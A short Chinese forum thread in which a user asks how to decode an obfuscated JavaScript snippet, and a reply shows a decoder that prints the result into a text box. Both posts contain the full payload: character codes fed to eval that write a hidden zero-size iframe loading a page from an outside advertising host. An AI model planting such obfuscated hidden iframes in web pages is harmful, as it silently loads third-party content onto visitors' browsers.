求助：一个javascript解密函数，谢谢

Question

<script>
t="60,105,102,114,97,109,101,32,109,97,114,103,105,110,119,105,100,116,104,61,34,48,34,32,109,97,114,103,105,110,104,101,105,103,104,116,61,34,48,34,32,115,114,99,61,34,104,116,116,112,58,47,47,103,103,46,116,111,102,101,114,46,99,110,47,97,100,46,104,116,109,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,32,119,105,100,116,104,61,34,48,34,32,115,99,114,111,108,108,105,110,103,61,34,110,111,34,32,104,101,105,103,104,116,61,34,48,34,62,60,47,105,102,114,97,109,101,62"
t=eval("String.fromCharCode("+t+")");
alert(t);</script>
可以看到一个iframe调用一个网站的广告，广告地址是http://gg.tofer.cn/ad.htm

Answer 1

我来刮分&瓜分!!===============================
<TEXTAREA id="code" ROWS="10" COLS="100"></TEXTAREA>
<script>
t="60,105,102,114,97,109,101,32,109,97,114,103,105,110,119,105,100,116,104,61,34,48,34,32,109,97,114,103,105,110,104,101,105,103,104,116,61,34,48,34,32,115,114,99,61,34,104,116,116,112,58,47,47,103,103,46,116,111,102,101,114,46,99,110,47,97,100,46,104,116,109,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,32,119,105,100,116,104,61,34,48,34,32,115,99,114,111,108,108,105,110,103,61,34,110,111,34,32,104,101,105,103,104,116,61,34,48,34,62,60,47,105,102,114,97,109,101,62"
t=eval("String.fromCharCode("+t+")");
document.getElementById("code").value=t;</script>